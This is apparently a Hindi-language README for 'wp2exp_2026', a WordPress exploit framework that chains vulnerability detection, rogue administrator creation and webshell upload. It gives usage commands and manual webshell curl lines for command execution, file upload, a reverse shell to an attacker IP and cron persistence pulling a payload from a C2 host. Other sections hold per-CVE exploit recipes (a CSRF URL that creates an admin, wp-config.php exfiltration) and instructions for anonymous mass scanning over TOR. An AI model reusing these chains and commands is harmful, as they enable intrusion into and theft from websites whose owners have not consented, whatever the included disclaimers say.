wp2exp_2026 🔥

WordPress ऑल-इन-वन एक्सप्लॉइट फ्रेमवर्क — डिटेक्टर · स्कैनर · एन्यूमरेटर · एक्सप्लॉइट · एस्केलेशन

wp2exp_2026 wp2shell फ्रेमवर्क का रीब्रांडेड, युद्ध-परीक्षित उत्तराधिकारी है। यह मूल wp2shell चेकर/एक्सप्लॉइट चेन, तीन सार्वजनिक CVE-2026-63030 PoC किट (Ch4120N, shinthink, SentinelX), और TOR डार्कवेब-इंटेल पाइपलाइन के माध्यम से NVD / GitHub Advisories / CISA KEV से स्क्रेप की गई अगस्त 2026 की WordPress CVE वेव — को एक स्क्रिप्ट में विलीन करता है जो टारगेट को निष्क्रिय फ़िंगरप्रिंटिंग से लेकर सत्यापित वेबशेल तक ले जाती है।

┌──────────┐    ┌──────────┐    ┌───────────┐    ┌───────────┐    ┌──────────┐
│ DETECTOR │ -> │ SCANNER  │ -> │ ENUMERATOR│ -> │ EXPLOIT   │ -> │ ESCALATE │
│ 10 CVEs  │    │ version/ │    │ users/    │    │ admin     │    │ webshell  │
│ probes   │    │ WAF/XMLRPC│    │ plugins   │    │ create/   │    │ rev shell │
└──────────┘    └──────────┘    └───────────┘    └───────────┘    └──────────┘

⚠️ केवल अधिकृत परीक्षण। scan मोड गैर-विनाशकारी है। एक्सप्लॉइटेशन मोड को स्पष्ट रूप से --mode की आवश्यकता होती है। हर टारगेट के लिए लिखित अनुमति प्राप्त करना आपकी ज़िम्मेदारी है।

📦 स्थापना

# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026

# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks

कोई API कुंजी नहीं, कोई डेटाबेस नहीं, कोई कंपाइलेशन नहीं।

🚀 त्वरित आरंभ

# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com

# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit

# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell

# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10

# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050

🔧 कमांड-लाइन संदर्भ

usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
                      [--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
                      [--timeout N] [--threads N] [--json] [-o OUTPUT]

🧭 मोड-दर-मोड गाइड

मोड 1: scan — डिटेक्टर + स्कैनर + एन्यूमरेटर (सुरक्षित)

गैर-विनाशकारी। किसी भी टारगेट पर पहले इसका उपयोग करें।

यह क्रम से क्या करता है:

उदाहरण:

python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts

मोड 2: exploit — स्कैन + एक्सप्लॉइटेशन

scan में सब कुछ, साथ ही:

उदाहरण:

# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200

मोड 0: --verify — पर्यावरण स्व-जाँच

किसी भी स्कैन से पहले रनटाइम को मान्य करता है: Python ≥3.8, PySocks उपलब्धता (SOCKS5/TOR), प्रॉक्सी पहुँच (यदि --proxy सेट है), CVE मैट्रिक्स अखंडता, वर्जन-पार्सर शुद्धता।

python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050

मोड 3: shell — वेबशेल तक पूरी चेन

exploit में सब कुछ, साथ ही एस्केलेशन: यदि एडमिन निर्माण सफल होता है, तो स्क्रिप्ट:

1. wp-login.php में लॉगिन करती है (कुकी जार)
2. पथ A (थीम): theme-editor _wpnonce + सक्रिय थीम निकालती है → admin-ajax.php?action=edit-theme-plugin-file के माध्यम से वेबशेल लिखती है
3. पथ B (प्लगइन, फ़ॉलबैक): यदि थीम एडिटर अनुपलब्ध है → शेल युक्त प्लगइन zip बनाता है, update.php?action=upload-plugin के माध्यम से अपलोड करता है, इसे सक्रिय करता है
4. शेल के माध्यम से id निष्पादित करके सत्यापित करता है — लाइव कमांड आउटपुट प्रिंट करता है

वेबशेल प्रकार (--shell):

उदाहरण:

python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...

सफल रन के बाद मैनुअल शेल उपयोग:

# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'

# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'

# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'

# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'

🧨 CVE कवरेज (अगस्त 2026 वेव)

CVE-वार एक्सप्लॉइटेशन चेन (कोड में प्रलेखित)

• FormGent (3141): DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — रूट ऑथ मिडलवेयर के बिना पंजीकृत है; टोकन सापेक्ष पथ का रॉ base64 है (जाली बनाने योग्य)। फिक्स्ड संस्करण हस्ताक्षरित UploadFileToken का उपयोग करते हैं।
• AI Engine (15988): reauth_for_authorize ने क्वेरी स्ट्रिंग सहित REQUEST_URI के विरुद्ध सबस्ट्रिंग परीक्षण के साथ /mcp/v1/oauth/authorize का मिलान किया। कुकी उपयोगकर्ता की पूर्ण पहचान पुनर्स्थापित करने के लिए किसी भी REST अनुरोध में &x=/mcp/v1/oauth/authorize जोड़ें। क्लासिक CSRF: crafted URL पर जाने वाला एडमिन एक हमलावर खाता बनाता है।
  root@kitploit:~

  https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
  

• Bit Integrations (15006): प्लगइन wpcf7_verify_nonce => __return_true सेट करता है → CF7 सबमिशन को कोई nonce नहीं चाहिए; ../../../../wp-config.php युक्त फ़ाइल फ़ील्ड सबमिट करें और इंटीग्रेशन एक्शन (वेबहुक/ईमेल) फ़ाइल को बाहर निकालता है।

🕶️ TOR / डार्कवेब इंटीग्रेशन

यह स्क्रिप्ट TOR डार्कवेब-इंटेल पाइपलाइन (NVD ताज़ा-CVE स्क्रेप, GitHub Advisories, CISA KEV) द्वारा एकत्रित खुफिया जानकारी से बनाई गई है और अनाम स्कैनिंग का समर्थन करती है:

# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5

# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)

सत्यापित व्यवहार: प्रॉक्सी प्लंबिंग check.torproject.org/api/ip के विरुद्ध पुष्टि की गई → एग्ज़िट 192.42.116.45 के माध्यम से {"IsTor":true}।

📊 आउटपुट और रिपोर्टिंग

# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json

# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'

रिपोर्ट संरचना:

{
  "target": "https://example.com",
  "version": "7.0.1",
  "waf": "Cloudflare",
  "xmlrpc": true,
  "users": [{"id": 1, "name": "admin", "slug": "admin"}],
  "plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
  "core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
  "cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
  "exploitation": {
    "wp2shell_admin": {"success": true, "username": "...", "password": "..."},
    "shell": {"success": true, "shell_url": "...", "key": "..."},
    "mapster_posts": [...]
  }
}

🧪 मान्यता

2026-08-04 को एक अनुकरणित कमज़ोर WordPress लैब के विरुद्ध मान्य किया गया — QA बैटरी: 32/32 जाँचें PASS (सभी मोड, JSON शुद्धता, मल्टी-टारगेट, बेयर-होस्ट सामान्यीकरण, mapster ड्राफ्ट/प्राइवेट लीक, db संस्करण + एडमिन हैश का SQLi निष्कर्षण, पूर्ण शेल चेन):

wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45

🧩 रोडमैप / योगदान

• SQLi स्वचालित-निष्कर्षण (union इंजन) exploit मोड में वायर्ड (--sqli-info)
• SQLi oEmbed एडमिन-निर्माण फ़ॉलबैक (shinthink चेन)
• प्लगइन-zip वेबशेल अपलोड फ़ॉलबैक
• --verify पर्यावरण स्व-जाँच
• WordPress यूज़रनेम → पासवर्ड स्प्रे मॉड्यूल (XMLRPC मल्टीकॉल)
• darkweb_intel.py आउटपुट से CVE मैट्रिक्स का स्वतः-रीफ़्रेश
• HTML रिपोर्ट जेनरेटर

PR स्वागत योग्य हैं। पेलोड को डिफ़ॉल्ट रूप से गैर-विनाशकारी रखें।

⚖️ लाइसेंस और नैतिकता

MIT. केवल अधिकृत एंगेजमेंट। उन परिसंपत्तियों के विरुद्ध --mode exploit / --mode shell कभी न चलाएँ जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास लिखित अनुमति नहीं है। लेखक दुरुपयोग के लिए ज़िम्मेदार नहीं हैं।